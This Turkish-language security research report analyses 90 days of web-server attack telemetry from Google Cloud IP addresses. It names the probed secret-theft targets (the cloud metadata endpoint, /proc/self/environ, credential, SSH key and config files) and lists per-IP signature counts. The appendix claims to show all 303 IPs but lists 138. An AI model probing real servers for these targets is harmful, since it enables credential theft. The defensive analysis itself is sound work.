ProfesyonelWeb Güvenlik Araştırması · 13 Eylül 2026

90 Günlük Google Cloud Saldırı Telemetrisi: 303 IP ve 2.615 Kötü Niyetli İsteğin Teknik Analizi

Birinci taraf web sunucusu telemetrisi üzerinde yürütülen 90 günlük gözlemsel çalışma; Google'ın yayımladığı resmi Cloud IP aralıklarıyla doğrulanan 303 kaynak IP'den gelen 22.078 HTTP isteğini ve bunların içinde yüksek güvenli saldırı imzalarıyla eşleşen 2.615 isteği incelemektedir.

Özet

Bu çalışma, kamuya açık web servislerine yönelen dağıtık güvenlik taraması ve istismar girişimlerinin bulut altyapıları üzerindeki kaynak adres dağılımını ampirik olarak incelemektedir. Veri kümesinde credential discovery, SSH private-key discovery, AWS/GCP metadata SSRF, command injection, process-environment probing, wp-config ve diğer yapılandırma/yedek dosyası keşif girişimleri bulunmaktadır.

303
Google Cloud aralığında doğrulanmış kaynak IP
22.078
Toplam gözlenen HTTP isteği
2.615
Saldırı imzasıyla eşleşen istek

Atıf ve metodolojik sınırlar

Bir IP adresinin Google Cloud tarafından yayımlanan bir prefix içinde bulunması, trafiğin Google şirketinin kendisi tarafından üretildiği anlamına gelmez. Bu çalışma yalnız kaynak adresin gözlem tarihinde Google Cloud adres alanıyla eşleştiğini ifade eder. İlgili sanal makinenin, hesabın veya projenin nihai işleticisine ilişkin bir atıf yapılmamaktadır.

Benzer biçimde User-Agent dizgileri güvenilir kimlik kanıtı olarak kullanılmamıştır. Aynı kaynakların Googlebot, GPTBot, ChatGPT-User, Amazonbot, ClaudeBot ve başka bağımsız kimlikleri dönüşümlü sunabildiği gözlenmiştir. Bu nedenle sınıflandırma kaynak IP, zaman, HTTP metodu, istek URI'si ve davranışsal saldırı imzasına dayanır.

HTTP 200 yanıtı da tek başına başarılı istismar veya veri sızıntısı kanıtı olarak yorumlanmamıştır. Çalışma, gözlenen tarama ve istismar girişimlerini belgelemektedir.

Yöntem

Apache/Nginx erişim günlükleri 90 günlük gözlem penceresinde incelenmiş; hassas dosya keşfi, metadata SSRF, command injection, credential/key discovery, filesystem traversal ve yapılandırma keşfi gibi kategorilere ayrılmıştır. Kaynak IP sahipliği Google'ın resmi https://www.gstatic.com/ipranges/cloud.json yayınıyla doğrulanmıştır.

Başlangıçta incelenen 34.x/35.x adreslerden Google Cloud prefixleriyle doğrulanamayan iki adres Google Cloud veri kümesine dahil edilmemiştir.

Başlıca saldırı sınıfları

  • Cloud metadata SSRF: 169.254.169.254 ve benzeri metadata servislerine erişim denemeleri.
  • Credential discovery: AWS/GCP/OCI credential ve service-account dosyalarının aranması.
  • Private-key discovery: SSH özel anahtarlarının ve benzeri anahtar materyalinin aranması.
  • Command injection: cmd, exec, host, command ve benzeri parametrelerde shell metakarakterleri.
  • Process/environment discovery: /proc/self/environ ve uygulama environment dosyalarının aranması.
  • Configuration/backup discovery: wp-config, .env, YAML/JSON/TOML ve yedek dosya varyantları.

Örnek yüksek yoğunluklu vaka: 34.79.187.104

Bu kaynak 34.76.0.0/14 Google Cloud prefixi ve europe-west1 bölgesiyle eşleşmiştir. Veri kümesinde 534 toplam isteğin 162'si saldırı imzasıyla eşleşmiştir. Aynı kaynakta metadata SSRF, command injection, AWS credential discovery, service-account discovery, SSH private-key discovery, wp-config ve process-environment taraması birlikte gözlenmiştir.

Ek A — 303 doğrulanmış kaynak IP'nin tamamı

Aşağıdaki tablo araştırmada Google Cloud resmi adres yayınıyla doğrulanan bütün kaynak IP'leri göstermektedir. Bu tablo bir kişi veya kuruma suç isnadı değil, ağ telemetrisi gözlemidir.

# Kaynak IP Google Cloud Prefix Bölge İlk gözlem Son gözlem Toplam istek Saldırı imzalı İmzalar
134.79.187.10434.76.0.0/14europe-west12026-08-09 21:30:492026-08-12 16:14:34534162AWS_METADATA_SSRF:57CMDI:34AWS_CREDENTIALS:28SERVICE_ACCOUNT:14CONFIG_SECRET:7SSH_PRIVATE_KEY:6WP_CONFIG:5EXEC_API:4GCP_METADATA_SSRF:4PROC_ENVIRON:3PASSWD_FILE:2BACKUP_DISCOVERY:2OCI_SECRET:2
235.234.186.7635.234.176.0/20us-east42026-08-12 12:17:162026-08-12 12:18:08275113AWS_CREDENTIALS:51AWS_METADATA_SSRF:30SERVICE_ACCOUNT:10WP_CONFIG:5PASSWD_FILE:5PROC_ENVIRON:4BACKUP_DISCOVERY:3CONFIG_SECRET:2GCP_METADATA_SSRF:2SSH_PRIVATE_KEY:2
334.84.245.4434.84.0.0/16asia-northeast12026-08-29 14:05:162026-08-29 14:05:3632190AWS_METADATA_SSRF:62PROC_ENVIRON:12PASSWD_FILE:10SERVICE_ACCOUNT:4LOCAL_FILE_URL:4
435.194.172.16635.194.128.0/17asia-east12026-09-13 12:28:512026-09-13 12:29:0117264AWS_METADATA_SSRF:38CMDI:22EXEC_API:6SERVICE_ACCOUNT:2PROC_ENVIRON:2
534.6.235.23934.6.0.0/15europe-west42026-08-21 04:06:342026-08-21 04:06:3817146AWS_METADATA_SSRF:29PROC_ENVIRON:6PASSWD_FILE:5SSH_PRIVATE_KEY:3SERVICE_ACCOUNT:2LOCAL_FILE_URL:2
634.175.3.13534.175.0.0/16europe-southwest12026-08-08 21:07:552026-08-09 03:55:4236143SERVICE_ACCOUNT:12SSH_PRIVATE_KEY:12CONFIG_SECRET:8WP_CONFIG:6BACKUP_DISCOVERY:6AWS_CREDENTIALS:1
734.182.76.6334.182.0.0/17us-west12026-08-26 18:57:282026-08-26 18:57:389143AWS_METADATA_SSRF:29PROC_ENVIRON:6PASSWD_FILE:5LOCAL_FILE_URL:2SERVICE_ACCOUNT:2
834.146.46.18834.146.0.0/16asia-northeast12026-09-12 11:12:122026-09-12 11:12:3113341AWS_METADATA_SSRF:24CMDI:12GCP_METADATA_SSRF:3SERVICE_ACCOUNT:2EXEC_API:2
934.6.168.7434.6.0.0/15europe-west42026-08-10 11:54:192026-08-10 11:54:1911336CONFIG_SECRET:14AWS_CREDENTIALS:13OCI_SECRET:3BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:2PASSWD_FILE:1PROC_ENVIRON:1WP_CONFIG:1SERVICE_ACCOUNT:1
1034.153.189.8834.153.128.0/18europe-west22026-08-08 19:55:142026-08-08 22:12:5339134SERVICE_ACCOUNT:10SSH_PRIVATE_KEY:9WP_CONFIG:5BACKUP_DISCOVERY:4AWS_CREDENTIALS:3CONFIG_SECRET:3GIT_EXPOSURE:1
1135.237.192.11535.237.0.0/16us-east12026-09-06 12:50:042026-09-06 12:50:1227632PROC_ENVIRON:14OCI_SECRET:11LOCAL_FILE_URL:6SSH_PRIVATE_KEY:4AWS_CREDENTIALS:1SERVICE_ACCOUNT:1
1234.181.245.1334.181.128.0/17us-east42026-08-19 23:01:292026-08-19 23:01:567332AWS_METADATA_SSRF:14PASSWD_FILE:7AWS_CREDENTIALS:5PROC_ENVIRON:5LOCAL_FILE_URL:1SERVICE_ACCOUNT:1
1334.156.22.22234.156.0.0/16europe-west12026-09-13 08:06:052026-09-13 16:47:2947730WP_CONFIG:16AWS_CREDENTIALS:8SSH_PRIVATE_KEY:6
1434.139.138.11534.138.0.0/15us-east12026-08-14 09:44:482026-08-14 09:44:569929AWS_METADATA_SSRF:13CMDI:8CONFIG_SECRET:4SERVICE_ACCOUNT:2PASSWD_FILE:1OCI_SECRET:1
1534.125.152.25034.125.0.0/16us-west42026-08-11 20:46:582026-08-11 20:47:344629AWS_METADATA_SSRF:19PASSWD_FILE:6PROC_ENVIRON:4
1634.38.22.8034.38.0.0/16europe-west12026-08-12 06:53:532026-08-12 06:54:5939228SERVICE_ACCOUNT:12SSH_PRIVATE_KEY:8WP_CONFIG:4CONFIG_SECRET:2AWS_CREDENTIALS:2
1735.205.50.18335.205.0.0/16europe-west12026-08-09 21:37:512026-08-12 15:39:3610228AWS_CREDENTIALS:13CMDI:9CONFIG_SECRET:2PROC_ENVIRON:2BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:1EXEC_API:1PASSWD_FILE:1
1834.74.253.4734.74.0.0/15us-east12026-08-12 06:16:162026-08-12 06:16:224428AWS_CREDENTIALS:24BACKUP_DISCOVERY:4PASSWD_FILE:2PROC_ENVIRON:2
1935.240.125.20735.240.0.0/17europe-west12026-08-27 05:18:472026-08-27 05:19:0412926AWS_METADATA_SSRF:14PASSWD_FILE:4AWS_CREDENTIALS:3PROC_ENVIRON:1LOCAL_FILE_URL:1GCP_METADATA_SSRF:1SSH_PRIVATE_KEY:1SERVICE_ACCOUNT:1
2034.74.98.834.74.0.0/15us-east12026-08-21 11:03:002026-08-21 11:03:368426AWS_METADATA_SSRF:11AWS_CREDENTIALS:7PROC_ENVIRON:3PASSWD_FILE:2LOCAL_FILE_URL:2GCP_METADATA_SSRF:1SERVICE_ACCOUNT:1
2134.158.52.4134.158.32.0/19asia-southeast12026-08-22 11:47:192026-08-22 11:47:298426AWS_METADATA_SSRF:12AWS_CREDENTIALS:8PROC_ENVIRON:2PASSWD_FILE:1GCP_METADATA_SSRF:1SSH_PRIVATE_KEY:1SERVICE_ACCOUNT:1
2234.148.145.22134.148.0.0/16us-east12026-08-10 00:11:542026-08-10 00:11:553226AWS_CREDENTIALS:23PROC_ENVIRON:3BACKUP_DISCOVERY:2
2334.87.29.3734.87.0.0/17asia-southeast12026-08-15 15:23:252026-08-15 15:23:328925AWS_METADATA_SSRF:11CMDI:6CONFIG_SECRET:4AWS_CREDENTIALS:2SERVICE_ACCOUNT:1EXEC_API:1GCP_METADATA_SSRF:1
2435.225.183.18835.224.0.0/15us-central12026-09-07 05:48:512026-09-07 05:48:5216522OCI_SECRET:14PROC_ENVIRON:8
2534.16.227.11234.16.128.0/17us-west42026-08-16 06:27:582026-08-16 06:28:075222AWS_METADATA_SSRF:14AWS_CREDENTIALS:5PASSWD_FILE:2GCP_METADATA_SSRF:1
2635.236.145.7635.236.128.0/18asia-east12026-09-08 08:19:272026-09-08 08:19:3417121CONFIG_SECRET:8OCI_SECRET:4AWS_CREDENTIALS:4SERVICE_ACCOUNT:2SSH_PRIVATE_KEY:2PASSWD_FILE:1
2735.231.41.22535.231.0.0/16us-east12026-08-02 02:00:492026-08-11 21:51:429921AWS_METADATA_SSRF:10CMDI:5GCP_METADATA_SSRF:2BACKUP_DISCOVERY:1PASSWD_FILE:1SSH_PRIVATE_KEY:1SERVICE_ACCOUNT:1
2834.13.160.6834.13.128.0/17europe-west42026-09-01 04:06:152026-09-01 04:06:163719AWS_METADATA_SSRF:8PROC_ENVIRON:6PASSWD_FILE:5LOCAL_FILE_URL:1
2934.174.153.3134.174.0.0/16us-south12026-09-02 05:54:552026-09-06 01:02:3813918SERVICE_ACCOUNT:12ENV_FILE:6
3034.148.101.9834.148.0.0/16us-east12026-09-11 20:42:392026-09-11 20:42:4031317PROC_ENVIRON:12LOCAL_FILE_URL:9AWS_CREDENTIALS:2SSH_PRIVATE_KEY:1
3134.21.145.21434.21.128.0/17asia-southeast12026-08-22 14:30:302026-08-22 14:30:302617PASSWD_FILE:7AWS_CREDENTIALS:6PROC_ENVIRON:4LOCAL_FILE_URL:1
3234.139.46.1434.138.0.0/15us-east12026-08-25 02:27:342026-08-29 21:09:1031316SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4GIT_EXPOSURE:2WP_CONFIG:2PROC_ENVIRON:1AWS_CREDENTIALS:1
3334.139.86.2634.138.0.0/15us-east12026-08-23 03:20:452026-08-27 18:03:0124216SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4WP_CONFIG:2ENV_FILE:2AWS_CREDENTIALS:1PROC_ENVIRON:1
3434.26.45.1834.26.0.0/16us-east12026-08-09 21:25:582026-08-09 21:26:0220516SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4CONFIG_SECRET:2WP_CONFIG:2BACKUP_DISCOVERY:1AWS_CREDENTIALS:1
3534.148.226.19234.148.0.0/16us-east12026-08-12 21:26:282026-08-12 21:26:3220516SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4WP_CONFIG:3CONFIG_SECRET:2BACKUP_DISCOVERY:1AWS_CREDENTIALS:1
3634.140.123.17234.140.0.0/16europe-west12026-08-04 10:24:422026-08-12 09:53:2510416AWS_CREDENTIALS:6PROC_ENVIRON:5PASSWD_FILE:3SERVICE_ACCOUNT:2
3734.34.96.13834.34.0.0/17europe-west42026-08-24 00:08:402026-08-24 00:08:403016PASSWD_FILE:7AWS_CREDENTIALS:5PROC_ENVIRON:4LOCAL_FILE_URL:1
3835.196.162.7935.196.0.0/16us-east12026-08-25 02:36:372026-09-01 16:18:5932315SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4WP_CONFIG:2ENV_FILE:1PROC_ENVIRON:1AWS_CREDENTIALS:1
3934.52.146.3734.52.128.0/17europe-west12026-09-13 07:25:012026-09-13 07:25:0223515WP_CONFIG:8AWS_CREDENTIALS:4SSH_PRIVATE_KEY:3
4034.139.62.1734.138.0.0/15us-east12026-08-08 04:07:042026-08-08 04:07:0720315SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4WP_CONFIG:2CONFIG_SECRET:1BACKUP_DISCOVERY:1AWS_CREDENTIALS:1
4134.78.135.19234.76.0.0/14europe-west12026-08-09 16:37:452026-08-09 16:37:4720015SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4CONFIG_SECRET:2WP_CONFIG:2AWS_CREDENTIALS:1
4235.205.109.18135.205.0.0/16europe-west12026-08-14 04:30:022026-08-14 04:30:033215AWS_CREDENTIALS:13BACKUP_DISCOVERY:2PASSWD_FILE:1PROC_ENVIRON:1
4335.236.158.22635.236.128.0/18asia-east12026-08-11 22:44:212026-08-11 22:44:222515AWS_CREDENTIALS:13BACKUP_DISCOVERY:2PASSWD_FILE:1PROC_ENVIRON:1
4434.24.28.9234.24.0.0/15us-east12026-08-23 16:59:312026-09-01 12:15:3440914SERVICE_ACCOUNT:6SSH_PRIVATE_KEY:4WP_CONFIG:2PROC_ENVIRON:1AWS_CREDENTIALS:1
4534.187.69.6934.187.0.0/17europe-west42026-08-28 10:02:552026-08-28 10:05:5320914BACKUP_DISCOVERY:5PROC_ENVIRON:3PASSWD_FILE:2OCI_SECRET:2SSH_PRIVATE_KEY:1SERVICE_ACCOUNT:1
4634.171.63.2534.170.0.0/15us-central12026-08-13 16:06:342026-08-13 16:06:3820914SSH_PRIVATE_KEY:4SERVICE_ACCOUNT:3WP_CONFIG:2BACKUP_DISCOVERY:2CONFIG_SECRET:1GIT_EXPOSURE:1AWS_CREDENTIALS:1
4734.12.136.20134.12.0.0/16europe-west42026-08-07 18:17:212026-08-07 18:17:232414AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
4834.142.231.20634.142.128.0/17asia-southeast12026-09-04 11:46:342026-09-04 11:46:422314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PASSWD_FILE:1PROC_ENVIRON:1
4934.125.233.23434.125.0.0/16us-west42026-08-30 15:52:562026-08-30 15:53:002314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
5034.58.214.23234.56.0.0/14us-central12026-08-12 12:42:302026-08-12 12:42:362314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PASSWD_FILE:1PROC_ENVIRON:1
5135.234.33.6635.234.0.0/18asia-east12026-08-08 03:40:282026-08-08 03:40:372314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
5234.169.171.10134.168.0.0/15us-west12026-08-29 13:31:092026-08-29 13:31:142314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
5334.125.21.17734.125.0.0/16us-west42026-09-04 10:20:182026-09-04 10:20:232314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
5434.143.204.14234.143.128.0/17asia-southeast12026-08-13 03:12:082026-08-13 03:12:162314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PASSWD_FILE:1PROC_ENVIRON:1
5534.50.189.5134.50.160.0/19us-west42026-08-29 10:41:422026-08-29 10:41:462314AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
5634.38.12.17334.38.0.0/16europe-west12026-09-04 12:27:022026-09-04 12:27:072214AWS_CREDENTIALS:12BACKUP_DISCOVERY:2PASSWD_FILE:1PROC_ENVIRON:1
5734.173.109.21634.172.0.0/15us-central12026-09-06 16:34:382026-09-06 16:34:3926913PROC_ENVIRON:8LOCAL_FILE_URL:4OCI_SECRET:3
5835.200.131.17035.200.128.0/17asia-south12026-09-02 08:04:212026-09-04 21:29:427113SERVICE_ACCOUNT:8ENV_FILE:4BACKUP_DISCOVERY:1
5934.16.195.634.16.128.0/17us-west42026-08-10 11:50:092026-08-10 11:51:366113CMDI:8SERVICE_ACCOUNT:2PASSWD_FILE:1CONFIG_SECRET:1PROC_ENVIRON:1
6035.185.165.14435.185.160.0/20asia-east12026-09-08 20:39:192026-09-08 20:39:282313AWS_CREDENTIALS:11BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
6135.204.247.4135.204.0.0/16europe-west42026-08-24 07:34:152026-08-24 07:34:151613PASSWD_FILE:5AWS_CREDENTIALS:5PROC_ENVIRON:3
6234.87.94.5334.87.0.0/17asia-southeast12026-08-23 05:23:492026-08-23 05:23:491613PASSWD_FILE:5AWS_CREDENTIALS:5PROC_ENVIRON:3
6334.177.84.4934.177.80.0/20asia-southeast12026-08-04 09:00:532026-08-08 06:05:188812PROC_ENVIRON:4SERVICE_ACCOUNT:3CONFIG_SECRET:2PASSWD_FILE:2AWS_CREDENTIALS:1
6434.17.24.6334.17.0.0/16europe-west122026-09-08 04:47:052026-09-08 13:22:097412SERVICE_ACCOUNT:8ENV_FILE:4
6535.236.57.6935.236.0.0/17us-west22026-09-11 19:20:122026-09-12 13:38:0516411PROC_ENVIRON:11
6634.16.240.2634.16.128.0/17us-west42026-09-08 09:48:312026-09-08 09:48:3511811SERVICE_ACCOUNT:4PROC_ENVIRON:3CMDI:2OCI_SECRET:1PASSWD_FILE:1
6735.243.243.5335.243.128.0/17us-east12026-07-08 20:45:562026-07-13 16:00:473611WP_CONFIG:8AWS_CREDENTIALS:3
6834.77.35.24934.76.0.0/14europe-west12026-08-29 03:11:472026-08-29 03:13:173411CMDI:5PROC_ENVIRON:4PASSWD_FILE:1SERVICE_ACCOUNT:1
6935.228.77.16535.228.0.0/16europe-north12026-08-30 08:18:022026-08-30 08:18:3114710SERVICE_ACCOUNT:4PROC_ENVIRON:3PASSWD_FILE:3
7034.53.233.7234.53.128.0/17europe-west12026-08-06 04:29:442026-08-06 04:31:136310CMDI:8EXEC_API:2BACKUP_DISCOVERY:1PROC_ENVIRON:1
7135.241.105.23335.241.64.0/18asia-east22026-09-06 20:39:302026-09-08 19:40:315610SERVICE_ACCOUNT:8ENV_FILE:2
7234.40.243.7834.40.128.0/17australia-southeast12026-09-07 11:20:592026-09-08 10:14:535110SERVICE_ACCOUNT:8ENV_FILE:2
7334.15.176.25034.15.128.0/17asia-southeast32026-08-30 06:46:172026-08-30 06:46:314410SERVICE_ACCOUNT:4PROC_ENVIRON:3PASSWD_FILE:3
7434.24.26.3634.24.0.0/15us-east12026-08-21 00:35:462026-08-21 11:17:193729BACKUP_DISCOVERY:6SSH_PRIVATE_KEY:3
7534.57.214.834.56.0.0/14us-central12026-08-06 22:13:352026-08-08 15:45:103179SERVICE_ACCOUNT:5SSH_PRIVATE_KEY:2PROC_ENVIRON:2
7634.50.165.25134.50.160.0/19us-west42026-09-10 04:54:022026-09-10 04:55:291279PROC_ENVIRON:3CONFIG_SECRET:3AWS_CREDENTIALS:2SERVICE_ACCOUNT:1
7734.62.51.2034.62.0.0/16europe-west12026-09-12 04:55:222026-09-12 04:56:491239CONFIG_SECRET:4PROC_ENVIRON:2PASSWD_FILE:1OCI_SECRET:1AWS_CREDENTIALS:1
7835.237.91.9735.237.0.0/16us-east12026-08-26 21:40:122026-08-26 21:40:12419SERVICE_ACCOUNT:4SSH_PRIVATE_KEY:3AWS_CREDENTIALS:2
7934.12.86.334.12.0.0/16europe-west42026-09-02 23:12:312026-09-02 23:12:32159PASSWD_FILE:5PROC_ENVIRON:4LOCAL_FILE_URL:1
8035.243.110.23735.243.64.0/18asia-northeast12026-09-04 09:04:332026-09-04 09:04:34139PASSWD_FILE:5PROC_ENVIRON:4LOCAL_FILE_URL:1
8134.182.76.12634.182.0.0/17us-west12026-08-11 21:37:512026-08-12 11:08:092098SERVICE_ACCOUNT:5PROC_ENVIRON:2SSH_PRIVATE_KEY:1
8235.189.207.8635.189.192.0/18europe-west12026-09-06 22:12:382026-09-06 22:12:40728LOCAL_FILE_URL:3PROC_ENVIRON:3OCI_SECRET:2SERVICE_ACCOUNT:1SSH_PRIVATE_KEY:1
8334.76.51.8134.76.0.0/14europe-west12026-08-06 02:04:372026-08-06 02:05:05418PROC_ENVIRON:5SERVICE_ACCOUNT:2PASSWD_FILE:1
8434.38.153.15534.38.0.0/16europe-west12026-08-06 06:36:372026-08-06 06:37:16418PROC_ENVIRON:5SERVICE_ACCOUNT:2PASSWD_FILE:1
8534.16.237.22134.16.128.0/17us-west42026-08-18 23:58:572026-08-18 23:59:35208AWS_METADATA_SSRF:4PASSWD_FILE:2PROC_ENVIRON:1SERVICE_ACCOUNT:1
8634.84.243.15934.84.0.0/16asia-northeast12026-09-08 10:13:092026-09-08 10:13:11118PASSWD_FILE:5PROC_ENVIRON:3
8734.135.21.6534.132.0.0/14us-central12026-08-09 16:56:112026-08-10 03:20:373677SERVICE_ACCOUNT:4SSH_PRIVATE_KEY:3
8834.94.48.25134.94.0.0/16us-west22026-09-13 02:01:182026-09-13 05:10:31967PROC_ENVIRON:5SERVICE_ACCOUNT:2
8934.38.232.334.38.0.0/16europe-west12026-08-09 22:56:182026-08-11 01:38:17957SSH_PRIVATE_KEY:3SERVICE_ACCOUNT:3PROC_ENVIRON:1
9034.138.198.034.138.0.0/15us-east12026-06-25 01:46:262026-07-23 12:30:05547WP_CONFIG:4AWS_CREDENTIALS:3
9135.233.91.10235.233.0.0/17europe-west12026-09-11 23:37:272026-09-11 23:38:19357SERVICE_ACCOUNT:4ENV_FILE:3
9235.195.13.19635.195.0.0/16europe-west12026-09-13 02:03:002026-09-13 02:03:50347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
9334.105.233.11934.105.128.0/17europe-west22026-09-06 16:12:512026-09-06 16:13:22347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
9434.175.14.11234.175.0.0/16europe-southwest12026-09-06 18:22:032026-09-06 18:22:27347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
9535.198.243.8735.198.192.0/18asia-southeast12026-09-07 18:54:272026-09-07 18:54:59347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
9635.198.46.25235.198.0.0/18southamerica-east12026-09-07 20:39:172026-09-07 20:39:36347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
9734.175.153.22534.175.0.0/16europe-southwest12026-09-08 20:15:172026-09-08 20:15:36347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
9834.175.41.15234.175.0.0/16europe-southwest12026-09-11 06:09:402026-09-11 06:09:59347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
9935.187.86.8435.187.0.0/17europe-west12026-09-11 06:47:192026-09-11 06:47:50347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10034.175.37.21534.175.0.0/16europe-southwest12026-09-12 06:42:282026-09-12 06:42:53347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10135.195.179.7935.195.0.0/16europe-west12026-09-12 20:21:132026-09-12 20:22:05347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10234.175.215.5634.175.0.0/16europe-southwest12026-09-12 21:41:372026-09-12 21:42:01347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10334.50.2.11134.50.0.0/18asia-northeast32026-08-30 00:03:082026-08-30 00:03:17347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10435.197.12.17535.197.0.0/17us-west12026-09-01 14:53:272026-09-01 14:53:56347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10534.175.92.14834.175.0.0/16europe-southwest12026-09-02 18:12:282026-09-02 18:12:53347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10635.201.11.20735.201.0.0/19australia-southeast12026-09-02 21:56:372026-09-02 21:56:52347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10734.176.11.11734.176.0.0/16southamerica-west12026-09-05 07:40:412026-09-05 07:41:13347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10835.203.1.5635.203.0.0/17northamerica-northeast12026-09-05 15:55:482026-09-05 15:56:43347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
10934.155.152.25334.155.0.0/16europe-west92026-09-05 18:13:212026-09-05 18:13:37347SERVICE_ACCOUNT:4ENV_FILE:2BACKUP_DISCOVERY:1
11034.148.107.19534.148.0.0/16us-east12026-08-08 11:32:052026-08-08 11:33:28247CMDI:7EXEC_API:2
11134.158.38.17234.158.32.0/19asia-southeast12026-08-14 05:11:192026-08-14 05:11:20147AWS_CREDENTIALS:5BACKUP_DISCOVERY:2PROC_ENVIRON:1PASSWD_FILE:1
11235.198.217.9135.198.192.0/18asia-southeast12026-09-08 17:17:412026-09-08 17:17:43107PASSWD_FILE:4PROC_ENVIRON:3
11335.189.222.4435.189.192.0/18europe-west12026-08-12 00:20:172026-08-12 19:42:222356BACKUP_DISCOVERY:4SSH_PRIVATE_KEY:2
11435.202.63.23735.202.0.0/16us-central12026-09-11 23:14:012026-09-11 23:14:05956PROC_ENVIRON:4LOCAL_FILE_URL:4AWS_CREDENTIALS:2
11534.17.36.20634.17.0.0/16europe-west122026-09-12 19:27:492026-09-12 22:25:21616SERVICE_ACCOUNT:4ENV_FILE:2
11634.174.44.16234.174.0.0/16us-south12026-09-01 05:33:242026-09-01 07:50:37506SERVICE_ACCOUNT:4ENV_FILE:2
11735.194.240.24635.194.128.0/17asia-east12026-09-11 19:48:322026-09-12 02:34:57396PROC_ENVIRON:2PASSWD_FILE:2SERVICE_ACCOUNT:2
11835.199.98.11835.199.64.0/18southamerica-east12026-09-06 17:22:272026-09-06 17:23:08376SERVICE_ACCOUNT:4ENV_FILE:2
11935.194.185.7735.194.128.0/17asia-east12026-09-07 03:57:472026-09-07 03:57:58376SERVICE_ACCOUNT:4ENV_FILE:2
12034.174.166.1134.174.0.0/16us-south12026-09-11 07:25:442026-09-11 07:26:04376SERVICE_ACCOUNT:4ENV_FILE:2
12134.97.8.3234.97.0.0/16asia-northeast22026-09-11 08:08:392026-09-11 08:08:59376SERVICE_ACCOUNT:4ENV_FILE:2
12234.186.23.4934.186.0.0/19us-west42026-08-30 09:31:082026-08-30 09:31:22376SERVICE_ACCOUNT:4ENV_FILE:2
12335.222.190.4435.222.0.0/15us-central12026-08-30 16:32:512026-08-30 16:33:03376SERVICE_ACCOUNT:4ENV_FILE:2
12434.174.229.2934.174.0.0/16us-south12026-08-31 16:05:182026-08-31 16:05:36376SERVICE_ACCOUNT:4ENV_FILE:2
12535.189.229.24835.189.192.0/18europe-west12026-08-31 16:08:412026-08-31 16:09:00376SERVICE_ACCOUNT:4ENV_FILE:2
12635.199.67.20235.199.64.0/18southamerica-east12026-09-03 08:04:512026-09-03 08:05:12376SERVICE_ACCOUNT:4ENV_FILE:2
12734.47.223.2534.47.128.0/17asia-south12026-09-06 04:18:552026-09-06 04:19:01376SERVICE_ACCOUNT:4ENV_FILE:2
12834.35.75.23934.35.0.0/16africa-south12026-09-06 18:30:332026-09-06 18:30:40376SERVICE_ACCOUNT:4ENV_FILE:2
12935.234.144.335.234.128.0/19europe-west22026-09-11 00:12:372026-09-11 00:12:53376SERVICE_ACCOUNT:4ENV_FILE:2
13034.40.124.5234.40.0.0/17europe-west32026-09-11 01:25:302026-09-11 01:25:39376SERVICE_ACCOUNT:4ENV_FILE:2
13134.39.170.12334.39.128.0/17southamerica-east12026-09-12 19:55:482026-09-12 19:55:59376SERVICE_ACCOUNT:4ENV_FILE:2
13235.236.138.17735.236.128.0/18asia-east12026-08-30 12:32:432026-08-30 12:32:57376SERVICE_ACCOUNT:4ENV_FILE:2
13335.228.30.2235.228.0.0/16europe-north12026-08-31 17:45:222026-08-31 17:45:43376SERVICE_ACCOUNT:4ENV_FILE:2
13434.64.136.18534.64.136.0/21asia-northeast32026-08-29 17:41:042026-08-29 17:41:19376SERVICE_ACCOUNT:4ENV_FILE:2
13534.26.190.20134.26.0.0/16us-east12026-09-06 16:15:312026-09-06 16:15:33176PROC_ENVIRON:5LOCAL_FILE_URL:2SSH_PRIVATE_KEY:1
13635.205.83.8135.205.0.0/16europe-west12026-08-18 21:26:232026-08-18 21:26:24116AWS_CREDENTIALS:2PASSWD_FILE:2PROC_ENVIRON:1AWS_METADATA_SSRF:1
13735.254.175.1135.254.0.0/15us-central12026-08-06 22:09:262026-08-08 16:41:512635SERVICE_ACCOUNT:3SSH_PRIVATE_KEY:2
13834.156.154.6434.156.0.0/16europe-west12026-09-06 22:08:542026-09-07 00:57:26795PROC_ENVIRON:3OCI_SECRET:2
